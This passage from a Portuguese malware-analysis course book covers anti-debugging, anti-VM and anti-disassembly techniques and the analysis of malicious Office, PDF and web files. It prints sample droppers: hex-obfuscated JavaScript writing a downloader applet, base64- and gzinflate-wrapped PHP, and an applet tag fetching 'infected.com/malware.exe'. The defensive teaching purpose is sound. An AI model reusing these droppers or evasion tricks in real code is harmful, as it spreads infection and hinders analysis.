um debugger para definir um breakpoint, ele modifica o código inserindo um 0xCC. Uma técnica
comum de anti-debugging é o processo de o malware fazer um scan no seu próprio código em busca
de opcodes 0xCC. Caso ele encontre, redirecionará o processamento para algum código anti-
debugging.

Checksums
O malware pode calcular um checksum de uma seção de seu código para atingir o mesmo
objetivo que o scanning de INT 3. Em vez de procurar por 0xCC, essa checagem simplesmente
executa uma verificação de redundância cíclica (CRC) ou um MD5 dos opcodes no malware. Esta
técnica pode ser superada usando breakpoints de hardware.

Timing Checks
Timing checks são uma das formas mais populares do malware detectar debuggers, porque
os processos são executados mais lentamente quando está sendo debugado. Por exemplo, um único
single-stepping em um processo retarda a substancialmente a velocidade de execução do programa.
Existem algumas maneiras de usar timming checks para detectar um debugger:

 Grave um timestamp, execute algumas operações, tire outro timestamp, em seguida,


compare os dois. Se houver um lag, você pode assumir a presença de um debugger.
 Tire um timestamp antes e depois de chamar uma exceção. Se um processo não estiver
sendo debugado, a exceção será tratada muito rapidamente, um debugger irá lidar com a
exceção muito mais lentamente. Por padrão, a maioria dos debuggers necessita de
Engenharia Reversa e Análise de Malware | 164

intervenção humana a fim de lidar com exceções, o que provoca um atraso enorme.
Mesmo que muitos debuggers permitem que você ignore exceções e passe por elas,
ainda haverá um atraso considerável.

O método mais comum de timing check usa a instrução rdtsc (opcode 0x0F31), que retorna
a contagem do número de ticks desde o último reboot em um valor 64-bit colocado em EDX: EAX.
O malware vai simplesmente executar esta instrução duas vezes e comparar a diferença entre as
duas leituras.
Duas funções da API do Windows são usadas assim como a rdtsc, a fim de realizar anti-
debugging com time check. Processadores possuem registradores que armazenam contadores de
atividades executadas pelo processador. QueryPerformanceCounter pode ser chamada para
consultar este contador duas vezes a fim de obter uma diferença de tempo para utilização em uma
comparação. Se passar muito tempo entre as duas chamadas, a suposição é que um debugger está
sendo usado.
Já a função GetTickCount retorna o número de milissegundos que passou desde o último
reboot, também pode ser utilizada com a mesma técnica.

10.2.4. Interferindo na funcionalidade do Debugger

O malware pode usar diversas técnicas para interferir no funcionamento normal do


debugger: thread local storages (TLS) callbacks e exceções são algumas delas. Estas técnicas
tentam perturbar a execução do programa apenas se ele estiver sob o controle de um debugger.

TLS Callbacks
A maioria dos debuggers se inicia no Entry Point do programa, tal como definido pelo PE
Header. Um TLS callback pode ser usada para executar código antes do Entry Point, e, portanto,
executar secretamente em um debugger. Se você contar apenas com a utilização de um debugger,
você pode perder alguma funcionalidade de certo malware, devido a TLS ser executada tão logo ele
é carregado para o debugger.
Basicamente, TLS permite que cada thread mantenha um valor diferente para uma variável
declarada como TLS. Quando TLS é implementada por um executável, haverá normalmente um
seção .tls no PE Header. TLS suporta funções de callback para inicialização e finalização de objetos
de dados TLS. O Windows executa essas funções antes que rodar o código normal no início do
programa.
Você deve imediatamente suspeitar se encontrar um seção .tls em um executável, programas
Engenharia Reversa e Análise de Malware | 165

normais geralmente não utilizam essa seção. Analisar TLS callbacks é fácil com o IDA, após
terminar de carregar o programa, vá à aba de Exports e se encontrar um que contenha o nome
TlsCallback, quer dizer que o que estiver nele executará antes do debugger atingir o entry point.
Para evitar isso no OllyDbg, vá ao menu Options - Debugging Options - Events e
selecione a opção System breakpoint como primeira parada para o debugger.

Usando Exceptions
Exceptions podem ser usadas para interromper ou detectar um debugger. A maioria das
detecções baseadas em exception utiliza o fato de que os debuggers irão interceptar a exception e
não passá-la imediatamente para o processo que está sendo debugado manipulá-la. A configuração
padrão na maioria dos debuggers é manipular as exceptions e não passá-las para o programa. Se o
debugger não passar a exceção para o processo corretamente, isso pode ser detectado.
Quando estiver realizando análise de malware, é recomendado passar todas as exceptions
para o programa automaticamente, no OllyDbg isso pode ser configurado em: Options -
Debugging Options - Exceptions.

10.2.5. Vulnerabilidades do Debugger

Como todo software, debuggers contém vulnerabilidades, e por vezes, os autores de


malwares podem atacá-las para impedir o debugging. Uma das vulnerabilidades mais populares está
na maneira como o OllyDbg lida com o formato PE. O PE Header pode ser modificado para causar
um “crash” no OllyDbg, ele não saberá como lidar com o arquivo e apresentará mensagens de erro,
mesmo o arquivo executando normalmente fora dele.

10.3. Visão geral de Anti-Disassembly

Anti-disassembly usa código especialmente criado em um programa para fazer com que as
ferramentas de disassembly produzam uma listagem incorreta de código.
Todo o malware é projetado com um objetivo específico em mente: keylogging, acesso por
backdoor, spam, e assim por diante. Os autores de malware muitas vezes vão além desta
funcionalidade básica para implementar técnicas específicas para se esconder do usuário ou
administrador do sistema, usando rootkits ou injeção processo, ou para de outra forma frustrar
análise e detecção.
Eles usam técnicas anti-disassembly para retardar ou impedir a análise de código malicioso.
Qualquer código que é executado com sucesso pode ser revertido, mas equipando seu código com
Engenharia Reversa e Análise de Malware | 166

técnicas anti-disassembly e anti-debugging, os autores de malware aumentam o nível de habilidade


exigida do analista de malwares.
Disassembly não é um problema simples. Sequências de código executável podem ter várias
representações em disassembly, algumas podem ser inválidas e obscurecer a funcionalidade real do
programa. Ao implementar anti-disassembly, o autor do malware cria uma sequência que engana o
disassembler fazendo com que ele mostre uma lista de instruções que diferem daqueles que irão ser
executadas.
Técnicas anti-disassembly funcionam se aproveitando das suposições e limitações de
disassemblers. Por exemplo, disassemblers só podem representar cada byte de um programa como
parte de uma instrução por vez. Se o disassembler é levado a "desmontar" o offset errado, uma
instrução válida pode ser escondida da vista. Abaixo vemos uma sequência de disassembly gerada
por um código anti-disassembly, o disassembler foi enganado e interpretou as instruções
erroneamente.

Agora o mesmo código interpretado pelo disassembler da forma correta, vemos que
instruções úteis para uma análise ficaram escondidas na primeira listagem.

Existem inúmeras técnicas que podem ser empregadas para tentar enganar os disassemblers,
são técnicas avançadas que exigem estudo mais aprofundado e fogem do escopo desse curso. A
princípio sabemos que elas existem e podem ser empregas pelos malwares, caso nos deparemos
Engenharia Reversa e Análise de Malware | 167

com instruções assembly malformadas podemos levantar a suspeita que se trata de uma técnica anti-
disassembly.

10.4. Visão geral de Anti-VM

Os autores de malware às vezes usam técnicas anti-virtual machine (anti-VM) para frustrar
as tentativas de análise. Com estas técnicas, o malware tenta detectar se ele está sendo executado
dentro de uma máquina virtual. Se uma máquina virtual é detectada, ele pode agir de maneira
diferente ou simplesmente não funcionar. Isto pode, é claro, causar problemas para o analista.
Técnicas anti-VM são mais comumente encontradas em malware que é amplamente
distribuído, como bots, scareware e spyware (principalmente porque honeypots frequentemente
usam máquinas virtuais e porque este malware normalmente tem como alvo a máquina do usuário
comum, que é improvável que esteja executando uma máquina virtual).
A popularidade do malware anti-VM tem decrescido recentemente, e isto pode ser atribuído
ao grande aumento no uso de virtualização. Tradicionalmente, os autores de malware usam técnicas
anti-VM porque eles pensavam que só os analistas iriam executar o malware em uma máquina
virtual.
No entanto, hoje administradores e usuários utilizam máquinas virtuais. Os autores de
malware estão começando a perceber que só porque uma máquina é virtual não significa
necessariamente que ela não é uma vítima valiosa. Como a virtualização continua a crescer, técnicas
anti-VM provavelmente se tornarão ainda menos comuns.
Técnicas anti-VM normalmente têm como alvo a VMware, a seguir, exemplos de algumas
técnicas que podem ser empregadas para isso.

VMware Artefacts
O ambiente da VMware deixa muitos artefatos no sistema, especialmente quando VMware
tools está instalado. Os malwares podem utilizar esses artefatos, que estão presentes no sistema de
arquivos, registro, lista de processos, memória, para detectar VMware.

Anti-VM x86 Instructions


Há algumas instruções que são comumente usadas para detectar VMware, normalmente o
malware só vai utilizar essas instruções se estiver utilizando técnicas anti-VM. Então para evitá-las
é só fazer um patch no binário para não chamar as instruções. Segue a lista:
 sidt
 sgdt
Engenharia Reversa e Análise de Malware | 168

 sldt
 smsw
 str
 in (with the second operand set to VX)
 cpuid

De forma geral para lidar com técnicas anti-VM deve-se utilizar o mesmo raciocínio
utilizado para lidar com anti-debugging, identificar a técnica empregada e anula-la. Ou ainda mais
fácil executar o malware em outra VM ou tentar desinstalar a VMware tools antes de fazer a
análise.

10.5. Lab 10-02Análise de malware que emprega técnicas anti-debugging

Material necessário:

-Máquina virtual com Windows XP 32-bit


- IDA Pro
-OllyDbg 1.10
- PhantOm Plug-in (http://www.woodmann.com/collaborative/tools/index.php/PhantOm)
-Arquivo: Lab-10-02.rar
Engenharia Reversa e Análise de Malware | 169

11. Trabalhando com Documentos


Maliciosos

Normalmente atacantes utilizam documentos maliciosos em ataques direcionados, e esses


documentos servem como porta de entrada para outros malwares. Apesar da técnica também ser
utilizada em massa, ela é mais comumente discutida nos ataques conhecidos como APT (Advanced
Persistent Threat).
Geralmente um atacante que tem como alvo uma empresa específica cria um e-mail
convincente com algum assunto relacionado a essa empresa e envia para alguns funcionários, isso é
conhecido como spear phishing. Junto ao e-mail anexam um documento malicioso, podendo ser
DOC, XLS, PPT, PDF, etc. O funcionário achando se tratar de algo importante abre esse documento
malicioso e acaba sendo infectado. Isso foi o que aconteceu no ataque à RSA no ano passado [1] e
costuma acontecer com bastante frequência em outros ataques direcionados.
Documentos maliciosos armazenam código maliciosos embutidos que geralmente exploram
alguma vulnerabilidade do programa que é utilizado para abri-lo ou interpretá-lo, os mais comuns
são Word, Excel, PowerPoint, Adobe Reader, Flash Player e Java VM.
Muitos desses programas aceitam que se execute dentro deles códigos de programação ou
outros tipos de códigos e objetos de terceiros. Por exemplo, o Excel permite que dentro dele haja
objetos Flash que são interpretados pelo Flash Player, o Adobe Reader permite que o PDF interprete
código JavaScript. Os atacantes se utilizam principalmente dessas características para embutir
dentro dos documentos exploits que atacam uma vulnerabilidade do programa.
Conseguindo executar o exploit com sucesso eles têm o caminho livre para infectar a
máquina com outros malwares ou executar comandos em shell, por exemplo.
Nesse capítulo veremos como lidar com arquivos Microsoft Office e PDF maliciosos.

11.1. Etapas genéricas da análise de documentos maliciosos

De forma geral, ao analisar documentos maliciosos podemos seguir essas etapas:


1. Localizar dentro do documento eventuais códigos maliciosos embutidos, como
shellcode, macros VB (Visual Basic for Applications), JavaScript ou arquivos PE.
2. Extrair o segmento de código suspeito para um arquivo.
3. Se relevante, fazer o disassembly ou debugging do shellcode.
4. Se relevante, fazer a desofuscação do JavaScript, macro VB, Action Script.
Engenharia Reversa e Análise de Malware | 170

5. Se relevante, analisar o arquivo PE extraído, pelos métodos tradicionais.


6. Entender os processo de infecção e próximos passos, o que aconteceu depois.

11.2. Análise de documento Microsoft Office

Como foi dito, documentos podem conter vários outros objetos embutidos. Devemos olhar
para esses objetos embutidos em busca de códigos maliciosos.
Da versão 2007 em diante, a Microsoft passou a adotar como padrão de arquivo o Open
Office XML [2], as versões anteriores utilizam outro padrão. Quando estivermos lidando com os
documentos devemos levar isso em consideração.
O formato novo que possui as extensões DOCX, XLSX, PPTX, trata-se de um compactado
que armazena vários outros arquivos XML, então podemos usar utilitários como WinRAR e ZIPs
para extrair esses arquivos e depois para visualizar o conteúdo do XML é só abrir em editor de texto
comum. A única exceção é quando o arquivo contém macros VB. Além dos XMLs haverá também
um arquivo chamado vbaproject.bin, esse arquivo contém o código do macro VB comprimido e está
no formato antigo, mas é possível utilizar o utilitário OfficeMalScanner, que veremos a seguir, para
visualizá-lo.

11.2.1. OfficeMalScanner

OfficeMalScanner é uma ferramenta de linha de comando criada por Frank Boldewin para
detectar código malicioso dentro de arquivos do Microsoft Office. Ela funciona para arquivos do
Word, Power Point e Excel. A ferramenta somente arquivos antigos do Office (anteriores ao 2007)
mas como vimos isso não é problema já que as versões atuais é só descompactar e ler os XMLs. Já
os arquivos de macro VB ela analisa tanto das versões antigas quanto das novas.
Quando utilizamos o OfficeMalScanner devemos especificar uma dessas opções ou modos:
 scan: varre o arquivo especificado em busca de padrões genéricos de shellcode
 brute: usar XOR e ADD como valores de 0x00 a 0xFF para decodificar o conteúdo do
arquivo especificado. Após cada rodada de decodificação, ele busca por assinaturas OLE
e arquivos PE embutidos. Se encontrar algum, é automaticamente extraído em arquivos
separados
 debug: exibe o disassembly (para shellcode) ou hex dump (para strings, dados OLE e
arquivos PE)
 info: exibe estruturas OLE, offsets, e tamanhos encontrados no arquivo especificado. Ele
também extrai para o disco qualquer macro Visual Basic encontrada.
Engenharia Reversa e Análise de Malware | 171

 inflate: descompacta o conteúdo de documentos Office 2007 para um diretório


temporário.

11.2.2. Ferramentas e recursos para análise de documentos Office

Mais informações e ferramentas para analisar documentos Office podem ser encontradas nos
links abaixo.

 Frank Boldewin’s “Analyzing MSOffice Malware with OfficeMalScaner” paper and “New
advances in MS Office malware analysis” presentation
(http://www.reconstructer.org/papers.html).
 Frank Boldewin’s “Episode 2: The image of death”
(http://www.h-online.com/security/features/CSI-Internet-The-image-of-death-1030311.html)
 Lenny Zeltser’s “Extracting VB Macro Code from Malicious MS Office Documents”
(http://blogs.sans.org/computer-forensics/2009/11/23/extracting-vbmacros-from-malicious-documents/)
 Officecat – Uma ferramenta para detectar exploits CVE em documentos Office
(http://www.snort.org/vrt/vrt-resources/officecat)
 Microsoft’s OffViz – Uma ferramenta para analisar a estrutura de documentos Office e CVEs
(http://blogs.technet.com/b/srd/archive/2009/09/14/offvis-updatedoffice-file-format-training-
video-created.aspx)
 ViCheck.ca – Scanner online de arquivos maliciosos (https://www.vicheck.ca/)

11.3. Lab 11-01 Análise de documento Office malicioso

Material necessário:

-Máquina virtual com Windows XP 32-bit


- OfficeMalScanner (http://www.reconstructer.org/code/OfficeMalScanner.zip)
-Arquivo: Lab-11-01.rar

11.4. Análise de PDF

O PDF (Portable Document Format) não é uma linguagem de programação, é uma


linguagem de descrição de página, especifica como apresentar uma página de documento e seu
conteúdo. O problema está no modo como os programas leitores de PDF interpretam o arquivo, e é
Engenharia Reversa e Análise de Malware | 172

justamente isso que os atacantes exploram, vulnerabilidades nos leitores de PDF, como o Adobe
Reader.
Assim como os documentos do Office, o formato PDF também possui vários objetos
embutidos. Cada objeto possui um número e uma versão, por exemplo 1 0, e objetos podem fazer
referência a outros objetos também, nesse caso haverá um R após o número e versão, 1 0 R faz
referência ao objeto 1. Um objeto pode executar uma série de ações e uma delas é executar código
JavaScript.
JavaScript é o que os atacantes utilizam para executar código maliciosos dentro de um
arquivo PDF. Com a ajuda do JavaScript ele conseguem explorar vulnerabilidades no leitor de PDF
e partir daí “escapar” do contexto do PDF e executar comandos no computador da vítima, como por
exemplo, fazer download de um malware.
Alguns objetos e identificadores úteis que o PDF possui:

 “/OpenAction” e “/AA” (Additional Action) especifica o script ou ação a ser executada


automaticamente.
 “/Names”, “/AcroForm”, “/Action” pode também especificar e executar scripts ou
ações.
 “/JavaScript” e “/JS” especifica o JavaScript a ser executado.
 “/Launch” executa um programa ou abre um documento.
 “/URI” acessa um recurso por sua URL.
 “/SubmitForm” e “/GoToR” pode enviar dados para URL.
 “/RichMedia” pode ser utilizado para embutir Flash no PDF.

Existem algumas ferramentas para analisar PDF maliciosos, elas buscam por esses objetos e
principalmente pelo código JavaScript embutido. Algumas conseguem identificar assinaturas de
ataques e exibir o identificador CVE (Common Vulnerabilities and Exposures) relacionado a ele.
As mais conhecidas e utilizadas são:

 PDFiD identifica PDFs que contém strings associadas com scripts e actions.
 PDF-parser e Origami’s pdfwalker examina a estrutura de arquivos PDF.
 Origami’s pdfextract e Jsunpack-n’s pdf.py extrai JavaScript de arquivos PDF.
 PDF Stream Dumper combina muitas ferramentas de análise de PDF utilizando uma
interface gráfica.
 Peepdf e Origami’s pdfsh oferece um console de linha de comando para examinar PDFs.
 PDF X-RAY Lite cria uma relatório em HTML contendo a estrutura e conteúdo do
arquivo PDF decodificado.
 SWF mastah extrai objetos SWF de arquivos PDF.
Engenharia Reversa e Análise de Malware | 173

 Pyew inclui comandos para examinar e decodificar as estruturas e conteúdo do arquivo


PDF.

11.5. Lab 11-02 Análise de PDF malicioso

Material necessário:

-Máquina virtual com Windows XP 32-bit


- Python 2.7
- pdfid.py (http://didierstevens.com/files/software/pdfid_v0_0_12.zip)
- PDF Stream Dumper (http://sandsprite.com/CodeStuff/PDFStreamDumper_Setup.exe)
-Arquivo: Lab-11-02.rar

Referências

[1] https://community.qualys.com/blogs/securitylabs/2011/11/30/dissecting-targeted-attacks
[2] http://en.wikipedia.org/wiki/Office_Open_XML
Engenharia Reversa e Análise de Malware | 174

12. Trabalhando com Web Malware

Web malware na verdade se refere a qualquer tecnologia web utilizada com fins maliciosos.
Os autores de malwares e fraudes cibernéticas estão sempre buscando novos meios de realizar seus
golpes, para eles quando mais rápido e fácil for para atingir seus objetivos, melhor.
Utilizar web sites para armazenar e distribuir malwares é um método rápido e efetivo, por
isso, grandes portais e sites de muito acesso estão sempre na mira de invasores. Se o atacante
encontra uma vulnerabilidade em um portal conseguirá ter acesso ao seu código-fonte, a partir daí
ele pode inserir scripts maliciosos na página principal do site. Todos os usuários que visitarem o site
a partir daí poderão ser infectados.
Para perpetrar esse tipo de ataque, o atacante às vezes emprega várias técnicas diferentes
utilizando linguagens como JavaScript, PHP, Applet Java e Action Script Flash. E quase sempre
utilizam ofuscação de código, às vezes muito simples e fáceis de reverter e outras vezes um pouco
mais complexas mas também reversíveis.
Outra característica desse tipo de ataque é a de criar vários hops (saltos) até chegar
realmente no código principal. Eles invadem vários servidores diferentes e vão criando
redirecionamentos entre esses servidores, geralmente com códigos ofuscados. Isso aumenta o rastro
do ataque e dificulta o rastreamento. Um analista de malware menos atento pode se perder nesse
caminho. Veremos um pequeno resumo de como normalmente as tecnologias web mais comuns são
utilizadas.

12.1. JavaScript

JavaScript é uma linguagem client-side muito utilizada, inclusive com fins maliciosos.
Geralmente quando invadem um site, os atacantes inserem um script JavaScript no código da
página index do site. Quando o site é acessado por um visitante, esse JavaScript é executado
automaticamente. Uma chama a um JavaScript pode ter essa aparência:

<script src="http://www.qualquersite.com/scriptname.js"></script>

JavaScript em conjunto com Applet Java é muito utilizado pelos atacantes para instalar
malware no computador dos usuários. Quando estiver analisando o código-fonte de um site que está
apresentando comportamento estranho, procure por algum JS malicioso, na maioria das vezes os
Engenharia Reversa e Análise de Malware | 175

ataques são iniciados com uma tag chamando um JS igual a essa.


O JavaScript também é muito utilizado para ofuscar código, tanto o código JS quanto código
HTML. Dentro de um script JS pode haver código com essa aparência:

var plugin =
(unescape('%3C%61%70%70%6C%65%74%20%63%6F%64%65%3D%22%4D%69%63%72%6
F%73%6F%66%74%5F%43%6F%72%70%6F%72%61%74%69%6F%6E%5F%4A%61%76%6
1%5F%56%69%72%74%75%61%6C%5F%4D%61%63%68%69%6E%65%2E%63%6C%61%7
3%73%22%20%61%72%63%68%69%76%65%3D%22%68%74%74%70%3A%2F%2F%6C%6
F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%53%63%72%69%70%74
%46%61%69%6C%2E%6A%61%72%22%20%68%65%69%67%68%74%3D%22%30%22%20
%77%69%64%74%68%3D%22%30%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45
%3D%22%6E%6F%6D%65%22%20%56%41%4C%55%45%3D%22%47%6F%6F%67%6C%6
5%55%70%64%61%74%65%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45%3D%2
2%6C%6F%63%61%6C%22%20%56%41%4C%55%45%3D%22%68%74%74%70%3A%2F%2
F%6C%6F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%47%6F%6F%6
7%6C%65%55%70%64%61%74%65%72%2E%65%78%65%22%3E%3C%50%41%52%41%4
D%20%4E%41%4D%45%3D%22%6D%65%6E%73%61%67%65%6D%22%20%56%41%4C%
55%45%3D%22%4F%6B%22%3E%3C%2F%61%70%70%6C%65%74%3E'))
document.write(plugin);

Esse é um código válido e está ofuscado com caracteres hexadecimais. Outro tipo de
ofuscação pode ser assim:

<SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=q`vlvs(u{sa8$smyv,ndpf{bpjtq$9
%0A%0Dvqagchfgq(becggWR@/*0,psc$+(#ozGjhsmov!(%25$681'!(%25$681'!(%25$?&1,3&,=
%0A%0A8*udzhrw:"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("?+mcfl?"));//--></SCRIPT>

Existem várias ferramentas e web sites que lidam com ofuscação de código JS, em destaque:

 JavaScript Deobfuscator - add-on para o Firefox (versão 8 ou mais nova)


https://addons.mozilla.org/firefox/downloads/latest/10345/addon-10345-latest.xpi
Engenharia Reversa e Análise de Malware | 176

 ASCII Converter web site – conversão de ASCII, Hexadecimal e Unicode


http://www.mikezilla.com/exp0012.html

 JSUNPACK web site – JavaScript Unpacker, também possui ferramentas standalone


http://jsunpack.jeek.org/

12.2. PHP

A linguagem de programação PHP (server-side) é uma das linguagens prediletas para


construir sites de phishing, clonados de instituições bancárias. É uma linguagem fácil de aprender e
bastante poderosa.
Quando um atacante invade um servidor é muito comum ele fazer o upload de uma shell
PHP. A linguagem PHP é poderosa e permite emular uma shell Linux com muitos comandos, então
através dessa shell PHP o atacante consegue controlar o servidor pela web. Abaixo a aparência de
uma shell desse tipo.

O PHP também pode ser encontrado ofuscado, existem várias técnicas que fazem isso,
encriptam o código. Algumas formas de PHP ofuscado:
Engenharia Reversa e Análise de Malware | 177

<? $plugin =
base64_decode('PHNjcmlwdCBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvanMvcGx1Z2luLmpzIj48
L3NjcmlwdD4='); echo $plugin; ?>
Ofuscação utilizando base64, bastante simples de reverter.

<? eval(gzinflate(base64_decode('
7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j
I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8
s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f
+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo
Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm
P903RmzBTexozXtM+2dZxqBJjP3Fjgcj0+rbjH5T
Vga//j9/sQOt3x5rbYOS4l3xq5Aw+u0EW2Tw0TXt
DkuKLyk/nDZEMG2oNUyWpA8A8eHZdOrD6v9ixfGo
Y/RHZstsakgXx6lBKiuw3CZbTDLNBwIZx33GUh7Q
LIBCV4UCt1oI7EJSweSB1Tb77Fd2otn2xBrqrGUN
mdZsGrZNqJOlveLRboWd7VXr796949UxluhSZyfo
Z09jHUtjY9sYsgeNDQAVYw1oMBt1xtqIjSytz3r6
CoPq+1oPeJBdX11qLOWbq6v5hm6sLmsNrdHINgzj
...
Ofuscação utilizando várias camadas.

Assim como o JS existem vários sites que fazem a desofuscação de código, para citar
alguns:

 eval gzinflate base64_decode


http://www.base64online.com/
http://poligon.ricoroco.com/fora/smf/decoder/

 Base64 Decode (http://www.base64decode.org/)

12.3. Applet Java

Applet é um mini programa escrito em Java que é embutido dentro de uma página HTML.
Uma estrutura básica de applet seria assim:
Engenharia Reversa e Análise de Malware | 178

<applet
code=”AppletJava.class”
archive=”Arquivos.jar”>

<param name=”mensagem” value=”Hello World!”>


<param name=”malware” value=”http://www.infected.com/malware.exe”>
</applet>

Vemos que dentro da tag applet há duas tags: code e archive. A tag code diz o nome da
classe (entenda-se programa) a ser executado e a tag archive especifica onde está essa classe e
todos os outros arquivos necessários para o applet funcionar.
Na tag archive é esperado um arquivo .JAR onde ficam “zipados” todos os arquivos do
applet. Por fim as tags param são os parâmetros do applet, esses parâmetros são utilizados dentro
do código. Por exemplo, dentro do código do AppletJava.class pode ter uma função que pegue o
valor do parâmetro malware e faça o download.
Para descompactar um arquivo .JAR basta utilizar o WinRAR, WinZip ou outro utilitário
comum de descompactação, vão ser descompactados vários arquivos e dentre eles o .class.
Arquivo .class é um arquivo bytecode Java, ele é gerado a partir do código-fonte Java, não é
compilado, o bytecode seria um estado intermediário entre o código-fonte e o compilado. Como não
é compilado o .class é passível de “descompilação”, ou seja, é possível recuperarmos o código-fonte
Java original.
Um site muito utilizado para “descompilar” arquivos .class e que apresenta bons resultado é
o www.showmycode.com. Basta submeter o arquivo que será apresentado o código-fonte original.
É comum encontrar código JavaScript que é utilizado para criar um applet no HTML do site
invadido.

12.4. Flash e Action Script

Arquivos Flash também são utilizados com propósitos maliciosos, às vezes ao invés de
construir o layout do site de phishing com HTML, o atacante opta pelo Flash. Arquivos flash
possuem a extensão SWF e assim como os .JAR também são embutidos no HTML.
Além das funções gráficas, arquivos flash também conseguem manipular dados dinâmicos
em web site, assim como uma linguagem de programação.
É possível fazer a engenharia reversa dos arquivos SWF do Adobe Flash, existem vários
descompiladores que fazem isso e conseguem obter praticamente o código-fonte completo do
arquivo.
Engenharia Reversa e Análise de Malware | 179

Quando um swf está sendo utilizado em uma página web para manipular conteúdo
dinâmico, como por exemplo, preenchimento de formulários, dentro dele há a linguagem de
programação ActionScript para realizar esse trabalho.
Então no nosso caso o interessante é fazer a descompilação do SWF e localizar o código
ActionScript, porque ele que estará sendo utilizado com fins maliciosos.
O site www.showmycode.com também consegue fazer a descompilação de arquivos SWF e
apresentar o código-fonte do ActionScript. Além dele há uma ferramenta bastante completa que faz
esse trabalho, chama-se Sothink SWF Decompiler. Não é gratuita mas há uma versão trial que
pode ser utilizada por 30 dias, o que já é suficiente para se fazer uma análise.

12.5. Lab 12-01 Análise de web malware diversos

Todas as tecnologias que vimos muitas vezes são utilizadas em conjunto, umas chamando as
outras e com várias camadas de ofuscação de código em cada uma. É importante entendermos como
cada uma funciona para conseguirmos rastrear todo o malware. Nesse Lab iremos ver vários usos
dessas tecnologias com fins maliciosos.

Material necessário:

-Máquina virtual com Windows XP 32-bit


- XAMMP usb lite (Apache e PHP)
(http://www.apachefriends.org/download.php?xampp-win32-1.7.7-usb-lite.exe)
- Firefox + JRE + Flash Player + Add-on JavaScript Deobfuscator
(https://addons.mozilla.org/firefox/downloads/latest/10345/addon-10345-latest.xpi)
- Acesso à Internet na VM para acessar:
http://www.mikezilla.com/exp0012.html
http://www.base64decode.org/
http://www.base64online.com/
http://www.showmycode.com
-Arquivo: Lab-12-01.rar

* Descompacte o Lab-12-01.rar e copie todos os arquivos descompactados dentro do diretório


htdocs na pasta do XAMMP, geralmente em: C:\xampp\htdocs.
Engenharia Reversa e Análise de Malware | 180

Apêndice A: Sandbox e Multi-AV Scanners

Existem inúmeros sites onde podemos enviar arquivos para serem analisados, alguns fazem
a análise dinâmica do arquivo, nos mostrando as alterações no registro, no sistema de arquivos,
processos criados, atividades de redes, dentre outras coisas. Esse tipo de serviço é conhecido como
sandbox. Já outros sites apenas dizem se o arquivo é vírus ou quais antivírus têm assinaturas para
ele, esse tipo é conhecido com AV-Scanner ou Multi-AV Scanner.
Devemos sempre nos lembrar de que esses serviços são públicos, então qualquer arquivo
que for submetido ao site pode ser disponibilizado para qualquer um. Caso esteja lidando com um
arquivo confidencial, não é recomendado enviar para esses sites. Para tirar dúvidas e obter mais
informações, leia os termos de uso do próprio site.
Segue abaixo a lista dos serviços on-line, destacados em cinza os mais conhecidos:

 GFI Public Sandbox - CWSandbox


 :: mwanalysis :: CWSandbox :: - CWSSandbox mantida separadamente pela
Universidade de Mannheim
 SandBox Information Center - Norman
 VirusTotal - Free Online Virus, Malware e URL Scanner
 Jotti's malware scan – Free malware scan
 Metascan Online – Scanning de arquivos com múltiplos antivírus
 ASafaWeb - Automated Security Analyser for ASP.NET Websites
 Virus Lab - F-Prot Antivirus Virus Information
 Anubis: Analyzing Unknown Binaries – Sandbox com análises detalhadas.
 ThreatExpert - Submit Your Sample Online - Sandbox com análises detalhadas.
 Submit a sample - Microsoft Malware Protection Center
 Eureka Malware Analysis Page - Automated malware binary analysis service
 Comodo Instant Malware Analysis - Sandbox com análises detalhadas.
 File Verdict Service - Automated analysis system also from Comodo.
 Wepawet – foco em arquivos JavaScript, PDF, e Flash.
 F-Secure - Sample Analysis System
 Xandora - Your Online Binary Analyser - Analysis of malware PE files
 VirusChief - Online Virus Scan - scans file using a number of scan engines.
 VirSCAN.org - Free Multi-AV Scanner - supported by 36 AntiVirus Engines
 NoVirusThanks.org - Multi-Engine Antivirus Scanner - Service
Engenharia Reversa e Análise de Malware | 181

 avast! Online Scanner


 malwr.com - free malware analysis service built on Cuckoo Sandbox
 Autovin » Malware Submission - Panda Security’s Automated Tool for Virus Incidents
 Ether: Malware Analysis via Hardware Virtualization Extensions - testing/beta mode
still.
 SuspectFile - upload analysis service.
 SARVAM: Search and Retrieval of Malware -

Encontre esses links e muitos outros em:


http://grandstreamdreams.blogspot.com.br/2012/04/malware-analysis-resources.html
Engenharia Reversa e Análise de Malware | 182

Apêndice B: Coleta de Malware

Abaixo segue a lista de alguns locais onde é possível fazer download de amostras de
malware para estudos. Lembrando que são malwares reais e devem ser analisados com muito
cuidado em um ambiente controlado e seguro.

 Malc0de Database - http://malc0de.com/database/


Apresenta URLs que hospedam malwares do mundo todo. Permite fazer buscas por
domínio, país, MD5, etc. Através da URL é possível baixar os malwares mais novos.

 Maware Domain List - http://www.malwaredomainlist.com/mdl.php


Semelhante ao Malc0de, porém apresenta informações adicionais com a descrição (tipo)
do malware, muito útil para buscar um tipo de malware específico.

